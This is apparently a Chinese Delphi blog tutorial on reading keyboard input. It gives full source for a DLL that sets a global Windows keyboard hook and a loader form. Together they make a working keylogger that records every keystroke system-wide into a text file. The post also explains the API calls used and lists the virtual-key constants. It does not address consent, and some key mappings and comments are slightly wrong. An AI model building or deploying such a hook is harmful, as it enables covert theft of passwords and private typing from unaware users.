delphi 取键盘值

2018-10-31

先来写DLL

library Help;
uses
Windows,
Messages,
SysUtils;
var
KeyHook: HHook;
text1:string;
function HookKey(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
const
_KeyPressMask = $80000000; //键盘掩码常量
var
i : byte;//键盘上的键值
pp:string;//记录的字符放入PP
vFilePath:string; //写入的文件路径
f:TextFile; //写入的文件

begin
if ((lParam and _KeyPressMask) = 0) then
{按下键与$80000000取and值,二进值是1000....这个表达式几乎永远成
立,因为只有($80000000and$80000000)才等于0}
begin
for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
case i of
8 : {loggedkeys := loggedkeys +'[BACKSPACE]'}pp:=copy(pp,0,length(pp)-1) ;
// 9 : pp:=pp+' ';
// 13 : pp:=pp+#13#10; //Enter
// 17 : pp:=pp+' ';
// 27 : pp:=pp+' ';
32 :pp:=pp+' '; //Space
// Del,Ins,Home,PageUp,PageDown,End
// 33 : pp := pp + ' ';
// 34 : pp := pp + ' ';
// 35 : pp := pp + ' ';
// 36 : pp := pp + ' ';
37 : pp := pp + ' ';
// 38 : pp := pp + ' ';
39 : pp := pp + ' ';
// 40 : pp := pp + ' ';
// 44 : pp := pp + ' ';
// 45 : pp := pp + ' ';
// 46 : pp := pp + ' ';
145 : pp := pp + ' ';
48 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+')'
else pp:=pp+'0';
49 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'!'
else pp:=pp+'1';
50 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'@'
else pp:=pp+'2';
51 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'#'
else pp:=pp+'3';
52 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'$'
else pp:=pp+'4';
53 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'%'
else pp:=pp+'5';
54 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'^'
else pp:=pp+'6';
55 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'&'
else pp:=pp+'7';
56 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'*'
else pp:=pp+'8';
57 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'('
else pp:=pp+'9';
65..90 : // a..z , A..Z
begin
if ((GetKeyState(VK_CAPITAL))=1) then//大小写指示灯亮着
if GetKeyState(VK_SHIFT)<0 then //shift已经按下
pp:=pp+LowerCase(Chr(i)) //a..z //所以按出的字母是小写
else
pp:=pp+UpperCase(Chr(i)) //A..Z //反之大写
else
if GetKeyState(VK_SHIFT)<0 then
pp:=pp+UpperCase(Chr(i)) //A..Z
else
pp:=pp+LowerCase(Chr(i)); //a..z
end;
96..105 : pp:=pp + inttostr(i-96); //Numpad 0..9
106:pp:=pp+'*';
107:pp:=pp+'&';
109:pp:=pp+'-';
110:pp:=pp+'.';
111:pp:=pp+'/';
144 : pp:=pp+'[Num Lock]';
112..123: //F1-F12
pp:=pp+'[F'+IntToStr(i - 111)+']';
186 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+':'
else pp:=pp+';';
187 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'+'
else pp:=pp+'=';
188 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'<'
else pp:=pp+',';
189 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'_'
else pp:=pp+'-';
190 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'>'
else pp:=pp+'.';
191 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'?'
else pp:=pp+'/';
192 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'~'
else pp:=pp+'`';
219 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'{'
else pp:=pp+'[';
220 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'|'
else pp:=pp+'\';
221 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'}'
else pp:=pp+']';
222 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'"'
else pp:=pp+'''';

end;
text1:=text1+pp;
vFilePath:='c:\test.txt ';
AssignFile(f,vFilePath);
ReWrite(f);
writeln(f, text1);
closefile(f);

end;
end;
end;
Result := CallNextHookEx(KeyHook, code, Wparam, lParam);
end;

procedure HookOn;
begin
KeyHook:=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);
end;
procedure HookOff;
begin
UnHookWindowsHookEx(KeyHook);
end;

exports
HookOn,HookOff; //两个导出函数
begin
end.

按ctrl+f9纺译出help.dll

第二步是就调用,我们尽量用动态调用
在新建窗体上加上两个Button,用来安装和卸载
为了少放代码,我只放实现部分,上面的uses部分是系统默认的
implementation

{$R *.dfm}
type
tpro=procedure;stdcall;
var
had:thandle;
sethok,unhok:tpro;
procedure TForm1.Button1Click(Sender: TObject);
begin
had:=loadlibrary('help.dll');
sethok:=getprocaddress(had,'HookOn');
unhok:=getprocaddress(had,'HookOff');
sethok;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
unhok;
freelibrary(had);
end;

end.
上面API函数在上一节中讲过了



下面注明一下,在help.dll中有一些没见过的API函数,我查了些资料,尽可能说明白点
GetAsyncKeyState(i)=-32767
copy(pp,0,length(pp)-1)
GetKeyState(VK_SHIFT)<0
GetKeyState(VK_CAPITAL))=1
LowerCase(Chr(i)
UpperCase(Chr(i)
一.GetAsyncKeyState():判断函数调用时指定虚拟键的状态

-32767二进制:1000 0000 0000 0001
返回值 Long,自对GetAsyncKeyState函数的上一次调用以来,如键已被按过,则位0设为1;否则设为0。如键目前处于按下状态,则位15设为1;如抬起,则为0
GetAsyncKeyState(i)=-32767整体意思已经假设所有按按过,最低位置1,并且最高位也为1说明某键正处于按下状态,才出来这个数1000 0000 0000 0001,或者说-32767
二.copy()举例子说下吧
const
s='i love delphi';
var
ss:string;
begin
ss:=copy (s,3,4);
end;// 这时ss的值是'love'
三.GetKeyState():检查虚拟键的DOWN状态
函数原型:SHORT GetKeyState(int nVirtKey);
GetKeyState(VK_SHIFT)<0 :shift被按下
GetKeyState(VK_CAPITAL))=1:caps lock,大小写指示灯亮了
写个判断按下还是没有按下大小锁定键的例子:
begin
if GetKeyState(VK_CAPITAL)=1 then
showmessage('按下了')
else
showmessage('没按下');

四. LowerCase(Chr(i):把字母转成小写
UpperCase(Chr(i):把字母转成大写

说这些也许是没用,只希望你了解得更深一些

-------------------------------------------------

用法:if key = chr(VK_F) then...

或者 if key=chr(70) then....// ASCII码为70对应的字符为F

if key=#70 then....

if key=#$46 then... //十六进制的46换成十进制为70


{ Virtual Keys, Standard Set }
{$EXTERNALSYM VK_LBUTTON}
VK_LBUTTON = 1;
{$EXTERNALSYM VK_RBUTTON}
VK_RBUTTON = 2;
{$EXTERNALSYM VK_CANCEL}
VK_CANCEL = 3;
{$EXTERNALSYM VK_MBUTTON}
VK_MBUTTON = 4; { NOT contiguous with L & RBUTTON }
{$EXTERNALSYM VK_BACK}
VK_BACK = 8;
{$EXTERNALSYM VK_TAB}
VK_TAB = 9;
{$EXTERNALSYM VK_CLEAR}
VK_CLEAR = 12;
{$EXTERNALSYM VK_RETURN}
VK_RETURN = 13;
{$EXTERNALSYM VK_SHIFT}
VK_SHIFT = $10;
{$EXTERNALSYM VK_CONTROL}
VK_CONTROL = 17;
{$EXTERNALSYM VK_MENU}
VK_MENU = 18;
{$EXTERNALSYM VK_PAUSE}
VK_PAUSE = 19;
{$EXTERNALSYM VK_CAPITAL}
VK_CAPITAL = 20;
{$EXTERNALSYM VK_KANA }
VK_KANA = 21;
{$EXTERNALSYM VK_HANGUL }
VK_HANGUL = 21;
{$EXTERNALSYM VK_JUNJA }
VK_JUNJA = 23;
{$EXTERNALSYM VK_FINAL }
VK_FINAL = 24;
{$EXTERNALSYM VK_HANJA }
VK_HANJA = 25;
{$EXTERNALSYM VK_KANJI }
VK_KANJI = 25;
{$EXTERNALSYM VK_CONVERT }
VK_CONVERT = 28;
{$EXTERNALSYM VK_NONCONVERT }
VK_NONCONVERT = 29;
{$EXTERNALSYM VK_ACCEPT }
VK_ACCEPT = 30;
{$EXTERNALSYM VK_MODECHANGE }
VK_MODECHANGE = 31;
{$EXTERNALSYM VK_ESCAPE}
VK_ESCAPE = 27;
{$EXTERNALSYM VK_SPACE}
VK_SPACE = $20;
{$EXTERNALSYM VK_PRIOR}
VK_PRIOR = 33;
{$EXTERNALSYM VK_NEXT}
VK_NEXT = 34;
{$EXTERNALSYM VK_END}
VK_END = 35;
{$EXTERNALSYM VK_HOME}
VK_HOME = 36;
{$EXTERNALSYM VK_LEFT}
VK_LEFT = 37;
{$EXTERNALSYM VK_UP}
VK_UP = 38;
{$EXTERNALSYM VK_RIGHT}
VK_RIGHT = 39;
{$EXTERNALSYM VK_DOWN}
VK_DOWN = 40;
{$EXTERNALSYM VK_SELECT}
VK_SELECT = 41;
{$EXTERNALSYM VK_PRINT}
VK_PRINT = 42;
{$EXTERNALSYM VK_EXECUTE}
VK_EXECUTE = 43;
{$EXTERNALSYM VK_SNAPSHOT}
VK_SNAPSHOT = 44;
{$EXTERNALSYM VK_INSERT}
VK_INSERT = 45;
{$EXTERNALSYM VK_DELETE}
VK_DELETE = 46;
{$EXTERNALSYM VK_HELP}
VK_HELP = 47;
{ VK_0 thru VK_9 are the same as ASCII '0' thru '9' ($30 - $39) }
{ VK_A thru VK_Z are the same as ASCII 'A' thru 'Z' ($41 - $5A) }
{$EXTERNALSYM VK_LWIN}
VK_LWIN = 91;
{$EXTERNALSYM VK_RWIN}
VK_RWIN = 92;
{$EXTERNALSYM VK_APPS}
VK_APPS = 93;
{$EXTERNALSYM VK_NUMPAD0}
VK_NUMPAD0 = 96;
{$EXTERNALSYM VK_NUMPAD1}
VK_NUMPAD1 = 97;
{$EXTERNALSYM VK_NUMPAD2}
VK_NUMPAD2 = 98;
{$EXTERNALSYM VK_NUMPAD3}
VK_NUMPAD3 = 99;
{$EXTERNALSYM VK_NUMPAD4}
VK_NUMPAD4 = 100;
{$EXTERNALSYM VK_NUMPAD5}
VK_NUMPAD5 = 101;
{$EXTERNALSYM VK_NUMPAD6}
VK_NUMPAD6 = 102;
{$EXTERNALSYM VK_NUMPAD7}
VK_NUMPAD7 = 103;
{$EXTERNALSYM VK_NUMPAD8}
VK_NUMPAD8 = 104;
{$EXTERNALSYM VK_NUMPAD9}
VK_NUMPAD9 = 105;
{$EXTERNALSYM VK_MULTIPLY}
VK_MULTIPLY = 106;
{$EXTERNALSYM VK_ADD}
VK_ADD = 107;
{$EXTERNALSYM VK_SEPARATOR}
VK_SEPARATOR = 108;
{$EXTERNALSYM VK_SUBTRACT}
VK_SUBTRACT = 109;
{$EXTERNALSYM VK_DECIMAL}
VK_DECIMAL = 110;
{$EXTERNALSYM VK_DIVIDE}
VK_DIVIDE = 111;
{$EXTERNALSYM VK_F1}
VK_F1 = 112;
{$EXTERNALSYM VK_F2}
VK_F2 = 113;
{$EXTERNALSYM VK_F3}
VK_F3 = 114;
{$EXTERNALSYM VK_F4}
VK_F4 = 115;
{$EXTERNALSYM VK_F5}
VK_F5 = 116;
{$EXTERNALSYM VK_F6}
VK_F6 = 117;
{$EXTERNALSYM VK_F7}
VK_F7 = 118;
{$EXTERNALSYM VK_F8}
VK_F8 = 119;
{$EXTERNALSYM VK_F9}
VK_F9 = 120;
{$EXTERNALSYM VK_F10}
VK_F10 = 121;
{$EXTERNALSYM VK_F11}
VK_F11 = 122;
{$EXTERNALSYM VK_F12}
VK_F12 = 123;
{$EXTERNALSYM VK_F13}
VK_F13 = 124;
{$EXTERNALSYM VK_F14}
VK_F14 = 125;
{$EXTERNALSYM VK_F15}
VK_F15 = 126;
{$EXTERNALSYM VK_F16}
VK_F16 = 127;
{$EXTERNALSYM VK_F17}
VK_F17 = 128;
{$EXTERNALSYM VK_F18}
VK_F18 = 129;
{$EXTERNALSYM VK_F19}
VK_F19 = 130;
{$EXTERNALSYM VK_F20}
VK_F20 = 131;
{$EXTERNALSYM VK_F21}
VK_F21 = 132;
{$EXTERNALSYM VK_F22}
VK_F22 = 133;
{$EXTERNALSYM VK_F23}
VK_F23 = 134;
{$EXTERNALSYM VK_F24}
VK_F24 = 135;
{$EXTERNALSYM VK_NUMLOCK}
VK_NUMLOCK = 144;
{$EXTERNALSYM VK_SCROLL}
VK_SCROLL = 145;
{ VK_L & VK_R - left and right Alt, Ctrl and Shift virtual keys.
Used only as parameters to GetAsyncKeyState() and GetKeyState().
No other API or message will distinguish left and right keys in this way. }
{$EXTERNALSYM VK_LSHIFT}
VK_LSHIFT = 160;
{$EXTERNALSYM VK_RSHIFT}
VK_RSHIFT = 161;
{$EXTERNALSYM VK_LCONTROL}
VK_LCONTROL = 162;
{$EXTERNALSYM VK_RCONTROL}
VK_RCONTROL = 163;
{$EXTERNALSYM VK_LMENU}
VK_LMENU = 164;
{$EXTERNALSYM VK_RMENU}
VK_RMENU = 165;
{$EXTERNALSYM VK_PROCESSKEY}
VK_PROCESSKEY = 229;
{$EXTERNALSYM VK_ATTN}
VK_ATTN = 246;
{$EXTERNALSYM VK_CRSEL}
VK_CRSEL = 247;
{$EXTERNALSYM VK_EXSEL}
VK_EXSEL = 248;
{$EXTERNALSYM VK_EREOF}
VK_EREOF = 249;
{$EXTERNALSYM VK_PLAY}
VK_PLAY = 250;
{$EXTERNALSYM VK_ZOOM}
VK_ZOOM = 251;
{$EXTERNALSYM VK_NONAME}
VK_NONAME = 252;
{$EXTERNALSYM VK_PA1}
VK_PA1 = 253;
{$EXTERNALSYM VK_OEM_CLEAR}
VK_OEM_CLEAR = 254;

阅读94